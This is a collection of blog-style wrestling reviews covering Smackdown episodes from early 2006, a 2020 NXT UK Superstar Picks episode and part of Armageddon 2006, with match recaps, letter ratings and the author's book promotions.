Smackdown – February 3, 2006: The Adult Version

IMG Credit: WWE

Smackdown
Date: February 3, 2006
Location: TD Waterhouse Center, Orlando, Florida
Commentators: Michael Cole, Tazz

We’re done with the Royal Rumble and on our way to Wrestlemania, but first up we need a stopover at No Way Out, which seems like it is going to feature Undertaker vs. Kurt Angle. That is a heck of a main event on its own, but Smackdown will also have Rey Mysterio as the Royal Rumble winner on the show. Let’s get to it.

Here are last week’s results if you need a recap.

We look at Kurt Angle defeating Mark Henry (thanks to a lot of cheating) to retain the World Title on Sunday, with Undertaker coming out to say he wanted the title and destroy the ring to end the show.

Opening sequence.

Here’s Teddy Long to talk about the surprises from the Royal Rumble. This included Undertaker saying he wanted Kurt Angle so the title match is on at No Way Out. How nice to see them just getting to the point and not wasting time for a change. The biggest surprise though was the winner of the Royal Rumble, as Rey Mysterio dedicated his win to Eddie Guerrero and now he’s going to Wrestlemania.

Cue Rey (who Cole says won the Rumble last night) in a low rider and wearing an Eddie shirt as the fans chant for Eddie. Teddy leaves and Rey thanks Eddie, who got him last night. Cue Randy Orton to interrupt though, who says Eddie was laughing at Rey last night. Randy and Eddie know that Rey isn’t ready to headline Wrestlemania and there must have been divine intervention last night. He knows Rey couldn’t beat him in a regular wrestling match, but the fans cut him off with a YOU SUCK chant. Rey: “I’m glad I’m not the only person who thinks you suck.”

Orton wants to challenge Rey for the Wrestlemania title shot so Rey looks up to Eddie. Randy: “Eddie’s not up there. Eddie’s down there….in h***.” The fight is on and referees have to pull Rey off of Orton. This is the point where the Eddie stuff jumped to a new level of ridiculous, as the story has stopped being about anything but Eddie. There needs to be more to it than that for a Wrestlemania World Title match.

Tag Team Titles: MNM vs. Mexicools

MNM is defending and has Melina with them. Psicosis monkey flips Nitro down to start and it’s a moonsault/legdrop combination for two with Mercury having to make a save. The champs bail to the floor and Crazy hits a big running flip dive to take them both down. We take a break and come back with Mercury suplexing Psicosis for two. Melina adds a headscissors choke from the apron and Tazz sees nothing wrong with that.

Psicosis fights out of a double arm crank but it’s a double spinebuster to put him back down for three near falls in a row. That’s enough to draw Melina to the apron for some yelling but Mercury is sent into her, meaning the ankle injury flares up again. Back in and Psicosis gets over for the hot tag to Crazy for the house cleaning. A tornado DDT gets two on Mercury but Melina takes off her boot to knock Crazy silly and retain the titles.

Rating: C. I know the Mexicools aren’t likely to go anywhere but they’re fine for the smaller, high flying tag team. There is always a place for a team like them and they did rather well here. The champs were in trouble until their manager cheated to retain their titles. That’s as by the book as you can get but they did it well enough to get by with a somewhat hot match.

Booker T. and Sharmell tell Teddy that he still can’t wrestle after his injury was aggravated in the Royal Rumble. Teddy says Booker can pick a substitute to face Chris Benoit tonight, but that substitute can lose the US Title for him. Yelling ensues.

Raw Rebound.

Here is JBL complaining about how he has to be put in the ring with one freak show after another. Anyone who gets in the ring with him becomes a star but he’s tired of WWE depending on him to give people a rub. No more, because he is a wrestling god, but here’s Bobby Lashley to interrupt for his match.

Bobby Lashley vs. Chad Dick

JBL is still at ringside, along with James Dick. Chad’s early cheap shots don’t work as Lashley throws him down, then does the same thing to James. The Dominator finishes Chad in less than a minute.

Post match, Lashley gets blasted by the Clothesline From JBL.

We see the same Angle/Undertaker video that opened the show.

Here’s the Undertaker for a chat. Undertaker says the time is drawing near for Kurt Angle and there is no way out. Angle has the title that he wants so here’s Angle to interrupt. Kurt says Undertaker makes people scream but he makes them tap. Undertaker is the Phenom, but he’s the wrestling machine. When the bell rings, Angle doesn’t have a soul either, so at No Way Out, he isn’t wrestling in peace. Undertaker knows Angle believes that, but he will rest in peace at No Way Out. Thunder strikes and Undertaker disappears.

Wrestlemania is 58 days away.

Octagoncito vs. Tzuki

Yes the Juniors are back and they have their own graphic. Octagoncito jumps him to start but gets dropkicked to the floor for a flip dive. Back in and Octagoncito hits a dropkick into a gorilla press as commentary argues about how to pronounce the names. Tzuki comes back with an armdrag and a tilt-a-whirl headscissors, followed by a sunset flip for two. A high crossbody into a crucifix gives Tzuki the win. These guys were gone for months and now they’re back, though I can’t imagine they’ll make any bigger of an impact than they did before.

Mr. Kennedy interrupts Chris Benoit’s warmup and hints that he knows Booker’s replacement opponent. Benoit threatens to break his arm for getting this close again.

US Title: Chris Benoit vs. ???

Benoit is challenging and the mystery replacement is….Finlay. This could be interesting. Booker joins commentary as Finlay takes Benoit down for an elbow to the face. A keylock sends Benoit over to the rope as Booker goes over he and Benoit’s history with Finlay in WCW. Finlay forearms him down again and we hit the armbar. Benoit gets him into the corner for some quick stomping but Finlay uppercuts him back.

Some chops send Finlay into the corner again so it’s another uppercut to drop Benoit again. We hit the reverse chinlock but Benoit is back up with the rolling German suplexes. Booker’s distraction breaks up the Swan Dive though and Finlay gets in a cheap shot. That just earns him the Crossface but Sharmell comes in with Booker’s crutch for the DQ.

Rating: C. I could go for more of Finlay getting into the title picture as he’s rather good at what he does. The Booker vs. Benoit stuff is interesting as well as they have had a bunch of matches already but the injury has allowed their feud to continue without getting stale. I’m starting to get into this situation and that’s always a good thing to see, especially if Finlay is going to be a regular part of it.

Post match the double beatdown is on.

Daivari doesn’t agree with the idea that Kurt Angle defeated Mark Henry because it was the steel chair that beat him.

The Boogeyman scares Booker and Sharmell. Please tell me that’s not going to be about the title.

Gregory Helms says he is the greatest cruiserweight alive today and he knows that no one on Smackdown is going to give him a threat. Nunzio comes up and threatens to break Helms’ leg. The title match is set for next week.

Palmer Cannon agrees that Paul Burchill and William Regal don’t want to be a tag team anymore. See, Regal’s heritage is British, but Burchill’s is from PIRATES. He wants to swashbuckle on Smackdown and Cannon loves it. Regal’s eyes bugging out at all of this makes it that much better.

Randy Orton/Mark Henry vs. Rey Mysterio/Kurt Angle

Daivari is here with the villains. We’re joined in progress with Orton saying he wants Rey to start. That’s what Orton gets so Rey comes in and hammers away until Orton sends him face first into the middle buckle. A headscissors puts Orton the floor though, just like on Sunday, with Rey following with a springboard seated senton.

Back in and Orton takes Rey into the corner so Henry can come in to step on Rey’s face. Orton drops a knee to the chest and hammers at Rey as the fans want Angle. A dropkick cuts off Rey’s comeback attempt but Orton goes shoulder first into the post. The diving tag brings in Angle, who slaps the ankle lock on Henry. That’s broken up in a hurry so it’s an Angle Slam right back into the ankle lock.

Orton makes the save so Angle goes for his ankle, only to have Daivari’s distraction allow a low blow to break things up. Orton knees Angle in the ribs and it’s back to Henry to headbutt him into the corner. Angle is sent outside for a whip into the steps but he’s right back in for an uppercut off with Orton. It’s Orton getting the better of things though and the chinlock goes on.

That’s broken up so Angle can hit a German suplex and it’s back to Rey for a springboard seated senton. The sitout bulldog lets Rey hammer on Orton until a heck of a clothesline takes him down. The Eddie chants bring Rey back up for the 619 on Orton but Henry breaks up a springboard. Everything breaks down and Angle chases an interfering Daivari through the crowd. Henry follows them, leaving Orton to counter a hurricanrana into a rollup for the pin.

Rating: C+. Nice main event tag match here that advanced Orton vs. Rey, with the other two guys being there as well. Orton and Mysterio can do their thing at No Way Out and this was a good way of setting them up for that match. They followed the formula for the most part here and Orton winning clean advanced the story they’re setting up. Pretty nice job all around.

Post match Orton says Rey has as much chance of winning the title at Wrestlemania as Eddie has at coming back to live. Rey accepts the challenge on behalf of Eddie to end the show.

Overall Rating: C. I liked the wrestling for the most part but e pluribus gads the Eddie stuff is going to be an incredibly rough sit. That’s the biggest story on the show right now and I’m almost scared to see how bad it is going to get. It isn’t a great thing to focus on and it’s rather uncomfortable at times on top of that, but WWE has never been one for tact. The wrestling was good but the stories were hard to take, making this about as vintage of a WWE show as you can get.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Smackdown – January 27, 2006: Hurry Up

IMG Credit: WWE

Smackdown
Date: January 27, 2006
Location: Bi-Lo Center, Greenville, South Carolina
Commentators: Michael Cole, Tazz

It’s the go home show for the Royal Rumble and that means we should be in for very little of note, as most of the card is already set. The Rumble itself hasn’t gotten that much attention, but it’s not like the match is going to need that much help. Other than that, we’ll be seeing more from Mark Henry and Kurt Angle, which could be a good thing. Let’s get to it.

Here are last week’s results if you need a recap.

We open with a recap of Mark Henry vs. Kurt Angle, with Daivari being revealed as Henry’s new manager.

Opening sequence.

Rey Mysterio vs. Mark Henry

Before the match, we see a clip of Rey dedicating his Royal Rumble to Eddie Guerrero. Daivari is on commentary as Rey hammers on Henry to start. Some dropkicks to the leg earn Rey a clothesline but Henry misses a sitdown splash. Henry is right back up and knocks him to the floor before dropping him onto the mat with a gorilla press. The splash doesn’t warrant a cover so he throws Rey outside to start the stalking.

Rey avoids a shot to the steps though and takes Mark back inside for some sliding dropkicks to the head. A moonsault gets one and Rey snaps him throat first across the top. There’s the 619 into the springboard seated senton, but Henry throws him off. Rey gets back up and charges into the World’s Strongest Slam for the pin.

Rating: C. This was the classic big man vs. little man formula and it was fine again. Henry is at his best when someone is bouncing off of him and he stands there to do power stuff. They were smart enough to not try anything too complicated here and in a situation like this, that was easily the best choice.

Matt Hardy is ready to win the Royal Rumble because he will not die.

Booker T. comes in to see Randy Orton before his match with Chris Benoit tonight. Orton is ready to win the Royal Rumble and Booker seems ready to return to the ring. They’re good for now, but Orton might be ready to take Booker up on that favor sooner or later.

Video on the Mexico tour.

Royal Rumble Qualifying Match: Mexicools vs. FBI vs. The Dicks

The winners get the final two Smackdown spots and we’re joined in progress after a break with Vito powering James up and bringing in Nunzio. The Mexicools low bridge Nunzio to the floor though and it’s Crazy coming in to clean house. James has to save Chad but Nunzio tags himself in to drag Psicosis into the corner. The double stomping sets up Vito’s camel clutch on Psicosis and it’s right back to Nunzio for an armbar. That’s broken up in a hurry and Psicosis gets over to Crazy to pick up the pace. Everything breaks down and a wheelbarrow slam/X Factor combination gives Psicosis the pin on Nunzio.

Rating: C-. They got in and out here fairly quickly and that is the best thing that they could have done. There was no need to do anything else here and at least they let the best choice win. The Dicks have gone nowhere since debuting and I can’t imagine that was ever in doubt. Finally you have the FBI, who are a fine midcard team and nothing more than that.

Classic Rumble moment: Chris Benoit wins.

Randy Orton vs. Chris Benoit

No holds barred. They lock up to start and Benoit grabs a to wristlock, with Orton reversing into a headlock. Orton is smart enough to grab the rope before a German suplex and bails to the floor as we take a break. Back with Orton rolling away from the threat of a Crossface and uppercutting him outside. Orton sends him into various things and gets two on the floor, even though falls counting anywhere wasn’t mentioned at the beginning.

Back in and Orton grabs the chinlock before snapping off the dropkick to put Benoit on the floor again. The trashcan is pulled out but a drop toehold sends Orton into it face first instead. Benoit starts chopping away to put Orton onto the announcers’ table, where a thumb to the eye gets Orton out of trouble. Back in and Orton hits a rather aggressive chinlock but Benoit fights up for a failed Sharpshooter attempt.

A knee drop gives Orton two and it’s right back to the chinlock. This time it’s a northern lights suplex to get Benoit out and they head outside again. The chop off goes to Benoit and it’s back inside for Three Amigos to Orton. Benoit keeps it up with a top rope superplex and they’re both down. Orton rolls outside to pick up the trashcan and gets in a heck of a shot to Benoit’s head as we take a break.

Back with Orton holding ANOTHER chinlock, followed by the over the back neckbreaker. Orton takes him outside and peels the mat back, with Benoit backdropping him onto the concrete. They head inside again for the rolling German suplexes but the Swan Dive hits trashcan lid. Benoit isn’t having that so he blocks the RKO, smashes the trashcan lid over Orton’s head and Crossfaces him for the win.

Rating: B. Good brawl here and I liked that it was more about the two of them beating each other up instead of using weapons all the time. There were a few weapons shot here including the ending, but it wasn’t the focal point of the match and that’s a good way to go. Orton does need to lighten up on the chinlocks though, because we’ve covered those extensively enough.

Animal wants to win the Royal Rumble because it’s all he has left to accomplish.

Finlay vs. Funaki

Finlay knocks him down to start and kicks Funaki in the head. Funaki’s enziguri looks to set up the tornado DDT but Finlay throws him down but the yet to be named Celtic Cross (White Noise) finishes Funaki in a hurry.

Post match Finlay keeps up the beating so the referee reverses the decision. Finlay does not approve of this and doesn’t like Americans. He isn’t going away so get over it.

JBL tries to convince Jillian Hall that the Boogeyman is scared of him. Hall is having nightmares about the Boogeyman eating her beauty mark. She asks if JBL ever noticed it and JBL’s eyes panic in a funny bit.

Bobby Lashley is going to win the Rumble.

John Bradshaw Layfield vs. Scotty 2 Hotty

Raw Rebound.

Melina shows Teddy her taped up ankle and says he has done nothing about this. That’s strike two and he is officially on notice.

Daivari and Mark Henry say Angle loses on Sunday.

Royal Rumble rundown.

Kurt Angle vs. MNM

Non-title and Melina is here with MNM. We’re joined in progress with Mercury getting headlocked down and then taken down with ease. A shoulder puts Mercury on the floor so Nitro comes in instead. Angle armbars him without much trouble and then hammers away in the corner. A Melina distraction lets Nitro get in a knee and Mercury low bridges Angle to the floor.

Nitro pulls Mercury out of the way of a charging Angle to send him shoulder first into the post and there’s a running knee in the corner. The Snapshot is broken up with Mercury being sent outside, where Melina slips him something. Melina offers a distraction so Mercury can get in a loaded right hand for two. The Angle Slam drops Mercury and a suplex sends Nitro to the floor. Angle grabs Mercury’s ankle for the tap.

Rating: C. Match was fine but they really needed Angle to survive cheating and make one of the champs tap? They couldn’t have had some kind of shenanigan or had Henry come in for the DQ? Anyway, Angle has looked awesome as of late and they’ve done a great job of turning him face in a hurry, though it isn’t exactly hard to cheer the guy.

Post match here’s Henry, who is Angle Slammed in a hurry. The ankle lock is broken up with raw power and Angle is stunned to end the show.

Overall Rating: C+. They did a little more for the Rumble itself but this was the Angle vs. Henry show. That isn’t the kind of match that should work on paper but the build they gave it here worked out pretty well. Benoit vs. Orton was a good, long match but it’s the only other thing of value on the whole show. Then again, with the Rumble on Sunday, everything is cranked up for Wrestlemania, meaning this is the most inconsequential show of the season.

 

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Smackdown – January 20, 2006: The Built In Perk

IMG Credit: WWE

Smackdown
Date: January 20, 2006
Location: Civic Center, Florence, South Carolina
Commentators: Michael Cole, Tazz

Things changed in a big way last week and now we get to start moving towards the new norm around here. That includes Kurt Angle as the Smackdown World Champion and seemingly gearing up to feud with Mark Henry, probably at the Royal Rumble. Speaking of the Rumble, the show is in ten days and it could use some build. Let’s get to it.

Here are last week’s results if you need a recap.

The opening recap looks at Angle winning the title in a battle royal, last eliminating Henry.

Opening sequence.

John Bradshaw Layfield vs. Bobby Lashley

JBL has Jillian Hall with him, now with a bandage on her face after Boogeyman bit off her growth. An exchange of shoulders hurts JBL’s arm but his right hand is good enough to hammer Lashley down in the corner. A thumb to the eye cuts Lashley off but he’s right back with a belly to bell. The charge misses in the corner and JBL runs him over….so here’s Boogeyman from underneath the ring. The distraction lets Lashley hit the Dominator for the pin.

Rating: D+. This didn’t have time to go anywhere and was just a backdrop for the Boogeyman interference. The good thing about JBL is it’s not like a loss hurts him so just have him go out there and take a beating, which isn’t going to cause him any real damage. Lashley gets a win and we move forward towards JBL vs. Boogeyman. I’m not sure why, but it’s at least something and JBL can play scared with the best of them.

Post match, JBL bails from the threat of the worms.

Rey Mysterio congratulates Angle on winning the title and promises to become #1 contender. Angle likes the idea of the challenge and walks on to accept more congratulations. He runs into Henry though, who promises to beat Rey and take the title from Angle at the Royal Rumble. Angle wishes him luck and says stay out of his face. The YOU SUCK chants are about his opponents, so don’t be his opponent, because you’ll SUCK.

Post break a scared Jillian is in Teddy Long’s office when JBL storms in. Long doesn’t want to hear the yelling and makes JBL vs. Boogeyman at the Rumble.

Here are Sharmell and Booker T. for the big US Title celebration, including the balloon drop. Booker thanks everyone for believing in him and Sharmell calls Chris Benoit a loser. After a congratulatory kiss, Booker says this is how a real winner celebrates. Cue Orlando Jordan to say Booker disrespected him when Jordan offered to help him in the series. Jordan wants a match right now and punches Booker down for saying no. Cue Teddy to make Jordan vs. Randy Orton for later tonight. So there you go Orlando Jordan enthusiasts. We get to suffer while you enjoy yourselves.

Matt Hardy vs. Finlay

Rating: C. This was a physical match and that’s the kind of thing that Finlay is known for. Wanting to brawl and beat on Hardy for the DQ was a logical way for him to debut, as a lot of fans aren’t going to be familiar with him after so many years away from mainstream wrestling. Not so much a good match, but an effective debut.

Post match, Finlay can’t believe that was a DQ and stomps Hardy’s head on the steps.

We look back at Daivari costing Angle a match against Shawn Michaels on Raw. Angle fired Daivari as a result.

Daivari is in Teddy’s office to rant about Angle firing him. He wants Teddy to fix it, so Long makes Daivari vs. Angle for tonight.

Batista had triceps surgery for the second time.

Rey Mysterio vs. Mark Henry

The winner gets the title shot at Angle at the Rumble. Melina is here with Henry. Mysterio starts sticking and moving to start but gets knocked down in a hurry. The pace picks up a bit and Rey sends him outside for a dropkick through the ropes. A quick dive knocks Henry up against the barricade and we take a break. Back with Henry running him over and shoving Mysterio down by the head.

Henry steps on his chest but misses a splash. Mysterio can’t do much with the delay though as he gets knocked outside, with Henry throwing him back inside with no trouble. Back in and Henry misses a charge in the corner so Rey kicks at the leg, slips out of a gorilla press, and kicks at the leg again. Some 619s to the back and ribs set up the regular version and Rey hits a heck of a frog splash. Henry rolls through like it’s nothing though and plants him with the World’s Strongest Slam for the pin and the title shot.

Rating: C. Pure formula stuff here and that’s the right way to go. Show that Henry can absorb the offense and then pop up for the win. Beating Mysterio so decisively sets up Henry for the World Title shot that he was all but guaranteed to get. Not a great match, but it did things rather well.

Mr. Kennedy comes out with some of his new shirts but if you want them, go buy them.

Gymini vs. Paul London/Brian Kendrick

Simon Dean is here with the Gymini and Kennedy is on commentary. Cole and Tazz throw on the Kennedy shirts, with Kennedy complimenting Cole’s head. London and Kendrick hit the ring in a hurry and clothesline Dean to the floor at the bell. London starts fast with a missile dropkick but a Dean distraction lets the monsters run him over. A double shoulder takes him down again as Dean starts blowing the whistle. Some missed elbows allow the hot tag to Kendrick to clean house as everything breaks down. Kendrick gets spinebustered onto London though and a double Regal Cutter finishes Kendrick in a hurry.

Rob Van Dam is back at the Royal Rumble.

Orlando Jordan vs. Randy Orton

Orton takes him over with a headlock to start and the trash talk is on. Some armdrags send Orton outside though and it’s time for a breather. Back in and another armdrag lets Jordan clothesline him to the floor but Orton avoids the slingshot dive. We come back from a break with Orton grabbing a chinlock with a bodyscissors, followed by the dropkick for two. Jordan couldn’t get his foot to the rope, so the referee says it was under the rope for the break anyway.

Jordan’s comeback is cut off in a hurry and we hit the chinlock again. The comeback works this time as Jordan starts in on the arm, including a standing armbar. That’s reversed into the backbreaker for two and Jordan’s dropkick gets the same. A swinging neckbreaker drops Orton but here is Sharmell for a distraction so Booker can come down for a crutch shot to Jordan. The RKO is good for the pin.

Rating: D+. For the love of all things good and made of poultry can we PLEASE cut it out with Jordan already? He has never been interesting, he has never been anything resembling good and he has never been anything more than a name on the roster. Let him go to Velocity and stay there already because he is as much of a groan inducing name as there is these days.

Post match Chris Benoit runs in for the save and rips up Booker’s shirt.

Video on Mark Henry.

We run down the Rumble card.

Raw Rebound.

Daivari is scared about the main event and know it’s going to be screwed up.

Kurt Angle vs. Daivari

Non-title and here are Mark Henry and Melina to watch. Angle snaps off the belly to belly suplex to send Daivari outside, where Daivari is terrified of Henry. Back in and Daivari’s low blow doesn’t do much damage so Angle throws him at Henry. With Henry holding Daivari in the air, Angle hammers on Daivari’s back before throwing him back inside. The Angle Slam sets up the ankle lock but Melina comes in for the DQ.

Post match Angle puts Melina in the ankle lock but Henry comes in for the World’s Strongest Slam. Henry crushes Angle with the steps for a bonus. With Angle down on the floor, Daivari announces himself as Henry’s new manager to end the show. Was Daivari that great of a manager that we need to have him added like this?

Overall Rating: C-. This show was more logical than anything else and that’s fine. It might not have been exactly thrilling, but it did a good job of setting up the non-Rumble matches. The perk about the Rumble is that it doesn’t need much of a build in the first place so hopefully we get a little push next week, but it’s not like the match really needs it. Angle vs. Henry actually sounds decent though, which I never would have guessed on coming in.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6




NXT UK – June 11, 2020 (Superstar Picks): What I Want

IMG Credit: WWE

NXT UK
Date: June 11, 2020
Host: Andy Shepard

It’s another Superstar Picks edition this week and that is one of the most entertaining things you can get on these shows. They offer a great look inside the WWE vault, which is something you don’t get to do often enough on television. Giving it the British slant makes things even more interesting. Let’s get to it.

Opening sequence.

Andy explains the concept, saying each match will be for a title.

Sam Gradwell starts with a surprise match from Great American Bash 2006.

US Title: Finlay vs. William Regal

Hornswoggle is back as he bites Regal’s fingers, forcing Regal to rake the eyes to escape. Back in and Finlay takes over, working on the hand until Regal hits him in the leg to break things up. They’re certainly mixing up the comedy and technical aspects here. Regal hooks a chinlock but Finlay fights out with some shots to the ribs.

Piper Niven goes with this from NXT UK, November 28, 2018.

NXT UK Women’s Title: Rhea Ripley vs. Toni Storm

For the inaugural title. Storm wastes no time in slugging Ripley down into the corner for the running hip attack. Ripley falls to the floor and eats a suicide dive but another hip attack hits the barricade. They head to the apron and Storm Zero is countered with a backdrop, leaving Toni nearly in tears from the pain.

Back in and a hard whip keeps Toni in trouble, followed by the shoulders to the ribs. The fans are behind Storm, even as she gets caught in a bodyscissors to stay on the ribs and back. Ripley switches over to the standing Cloverleaf, sending Storm over to the ropes for the break. The back is fine enough to roll some German suplexes, followed by a headbutt into a bridging German suplex for two.

Rating: B. This was good stuff with Ripley getting to win clean in the end with her finisher instead of having the cheating finish to set up a rematch. They went with the right call here of having a definitive winner and that’s the way they should have gone here. Storm already has the bigger honor anyway and can come back to win a regular title later on.

Post match Saint and HHH present Ripley with her title.

Noam Dar, with a beard, doesn’t like the rest of the roster.

Video on Aoife Valkyrie.

Dar wants to be deemed an essential service.

Amir Jordan (by way of Andy) sends us to Summerslam 1992 for a match you might have seen.

Intercontinental Title: Bret Hart vs. Davey Boy Smith

An atomic drop (called a reverse piledriver by Vince) puts Smith down and Bret blocks a crucifix (which worked earlier) in a Samoan Drop for two. Another chinlock is quickly broken but Davey charges into a boot in the corner to put him down again. A bulldog puts Bulldog down but he slams Bret off the top a second later. Davey misses a top rope splash and is sent to the outside, drawing a ton of heat for Bret.

They slug it out but Davey drops him out of a gorilla press into the ropes. Three straight clotheslines get two for Smith and a gorilla press gets the same. The delayed vertical and the chest first bump into the buckle get the same. Bulldog hits his powerslam finisher but Bret gets out at two, with far less of a reaction from the crowd than you would expect. Bret rolls through a suplex for two of his own, only to get superplexed down for a near fall.

Back up again and a double clothesline puts both guys down, giving the fans a needed breather. While laying on his back Bret hooks the Sharpshooter ala last year against Mr. Perfect, terrifying the fans. Smith gets the rope so Bret tries a suplex, but Davey drops to his knees and hooks both legs for the pin and the title at 25:40. The place ERUPTS on the three count.

Bret, Davey and Diana embrace to end the show.

Overall Rating: B+. That first match is the kind of thing I look forward to on a show like this. How many people have thought of that match in years? It isn’t something you’re going to see every day and aside from something like this, when is it ever going to be presented? Do more things like that and showcase what kind of resources you have.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

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Armageddon 2006: They Brought Out The Super Best Friends For This?

IMG Credit: WWE

Another request and another old review that is far from my usual standards.

Armageddon 2006
Date: December 17, 2006
Location: Richmond Coliseum, Richmond, Virginia
Attendance: 8,200
Commentators: Michael Cole, John Bradshaw Layfield

Just three to go so I think you know what I’m going to do here. Anyway this is a very weak show with the main event being Booker/Finlay vs. Batista/Cena. No titles or anything but just a tag match. And people wonder why Armageddon was considered the weakest of all the PPVs. However, there is a saving grace match here as there’s a fatal fourway ladder match for the Smackdown tag titles which is AWESOME. Let’s get to it.

The opening video is more or less exactly the same thing that you would expect it to be. They never really changed this other than changing the participants in it.

Kane vs. MVP

This is the ultra rare inferno match. There’s fire around the ring and you set your opponent on fire to win it. MVP is doing the big free agent thing and Kane is his first major feud. It’s a tag team feud at the moment with Kane/Taker vs. Kennedy/MVP with Taker vs. MVP happening later. Kane lost in a cage match and that set up this one.

The flames keep going up and down. You might even say big flames popping. Kane kicks him in the face and hammers him into the corner to start. MVP gets his feet up in the corner and thinks of going up but stops due to fear. Kane puts him in a wheelbarrow position and climbs the corner, only to get slammed on his face. Kane sets for a superplex but MVP knocks him off. The flames go up a second after he hits but it looks cool either way.

MVP stays on the top for a bit before coming off with a cross body. He instinctively covers but then settles for hammering away. Kane goes down and then sits up almost immediately. Big boot puts MVP down and there’s the chokeslam. The big bald takes the turnbuckle off and tries to light it on fire but the flames go down. The second attempt works but MVP uses the distraction to take over.

He tries a baseball slide to put Kane into the fire but Kane gets up before it hits. Kane takes over again and a corner clothesline hits. The side that got put out is back on now. MVP climbs the corner and Kane shoves him to the floor past the flames. Kane is like cool and dives off the top over the flames too. They fight to put each other into the “five hundred degree flames” and Kane grabs him by the throat and puts him into the fire for the win.

Smackdown Tag Titles: Paul London/Brian Kendrick vs. Dave Taylor/William Regal

Londrick are champions here. Before the match gets started here’s Teddy. He makes this a ladder match so here are some ladders. Regal FREAKS but Teddy isn’t done. He adds two more teams to make it a fatal fourway title match.

Smackdown Tag Titles: Paul London/Brian Kendrick vs. Daven Taylor/William Regal vs. MNM vs. The Hardys

MNM lost the titles to Londrick and are returning here since Nitro (Morrison) is on Raw. The Hardys are also on Raw but who cares? Jeff is IC Champion and they’re not Boys anymore. The crowd is WAY behind the Hardys. The heels are sent to the floor so it’s Londrick vs. the legends. Matt and London take over but Kendrick and Jeff come back. Spin Cycle takes out London and appropriately enough the Brits come back in.

Matt and I think Nitro pick up ladders and the fight goes to the floor. The Hardys come down the aisle with ladders as Regal and Taylor try to keep them out. Just about everyone is back in now and there’s a pair of ladders. Poetry in Motion hits Regal and Taylor takes a Snapshot. Double superkick puts Regal down again and things slow down a bit.

The champs and the Hardys go at it, including Matt throwing Kendrick into a ladder HARD. Jeff goes up but London makes the save. London goes up but the Hardys save. Nitro tried a springboard move to take him out but the ladder was already down so the spot landing looked sick. Mercury is almost up there but London/Kendrick/Hardys pick up the ladder and shove Mercury over the top onto Nitro.

Poetry in Motion is attempted but London moves and Jeff crashes into the ladder. With everyone down, Kendrick makes a run but Matt saves. Neckbreaker puts Kendrick down and London hits a suplex on Regal outside. Matt gets put on a ladder leaned against the ropes so Kendrick hits a double stomp to the ribs.

Now we get to the famous part of this match. MNM sets up a see-saw thing using a pair of ladders. They put Jeff on the top and set for a double suplex but Matt makes the save. Jeff dives off and the ladder is slammed into Mercury’s face, absolutely destroying his nose. I’ve never seen more blood so fast. His nose was shattered and he would be out for a few weeks and would need 20 stitches.

Due to the injury it’s now a seven man match with the Brits in control. Half nelson release suplex sends London into the ladder. Taylor holds the ladder and Regal goes up but comes down due to fear. Taylor goes up instead but Kendrick comes in for the save. Mercury is already on his way to the hospital. Matt comes back in and hits a Twist of Fate to Taylor. Jeff sets up a ladder on the floor and tries to dive into the ring but Nitro hits a baseball slide to take out the ladder, sending Jeff’s throat into the ropes.

Nitro rides a ladder down onto Regal as a ladder is set up in the ring. Kendrick makes a save and takes Nitro down again. Matt throws Kendrick off the ladder and London has to make the save. Matt backdrops London off but the ladder falls. Jeff vs. Nitro on a ladder now and Jeff gets a big old sunset bomb and the Brits are back to take everyone down.

Kendrick gets up there and pounds away on Regal but Taylor pulls him down again. Everyone is down and London starts crawling for the ladders. Matt is up again and goes for the same ladder. There are two ladders next to each other. Matt gets knocked down and London pulls the titles down to retain after a war.

Boogeyman vs. The Miz

Miz is undefeated here and still has the shorts. Miz says he’s going to give Boogeyman a Reality Check. HOO-RAH! Boogey takes over to start and Miz hits the floor. Miz gets a Stunner to Boogey’s arm and goes up. He jumps into a sloppy chokebomb and we’re done. This was more or less a TV match.

Boogey puts worms in Miz’s mouth post match.

Chavo dedicates the upcoming match to the injured (and mostly blonde) Vickie. Benoit hurt her somehow and tonight Chavo is going for the title for revenge. Chavo was fighting Benoit at Survivor Series and Chris got knocked into her, causing her neck injury. Vickie slapped Benoit and he growled at her.

US Title: Chavo Guerrero vs. Chris Benoit

Chavo hammers him to start but Benoit is like man I’m crazy and grabs a suplex. He stomps on Chavo but can’t get the Sharpshooter. Chavo is sent over the top and the fight goes to the floor. That doesn’t last long so the Canadian hits a German to the American back in the ring. Benoit goes up but gets crotched and caught in a superplex. Pretty good stuff to start off here.

Chavo beats on him outside a bit including ramming the ribs into the post. Camel clutch goes on (JBL says Gory, Chavo’s grandfather, invented it). Benoit fights out of it into a belly to back but Chavo reverses into a cross body for two. Sorry for all the play by play here but there’s almost nothing to make fun of here. Crossface attempt almost hits but Chavo makes a rope.

There’s a European uppercut to the back of the head. That’s a new one. Into the Tree of Woe we go and Benoit’s back gets worked some more. Electric chair doesn’t work but Chavo loads up Three Amigos to a very limited response. Benoit counters it into Rolling Germans. By Rolling Germans, I mean eight of them for a standing ovation. Can’t say I blame them either.

Chavo gets put in the Sharpshooter and here’s Vickie to get involved. Benoit says don’t do it and she drops the title she brought in. Chris sets for a Sharpshooter to her also and gets rolled up for two. There’s the real Sharpshooter and Chavo taps to keep the title on Benoit. He would finally lose it at Backlash about four months later to MVP.

Rating: B. I was really liking this until Vickie got involved. Benoit never seemed like he was in any danger and more or less just shrugged her off to keep the title. Vickie would get better but here she was just loud and annoying with no heat. Good match with a bad ending, namely due to her.

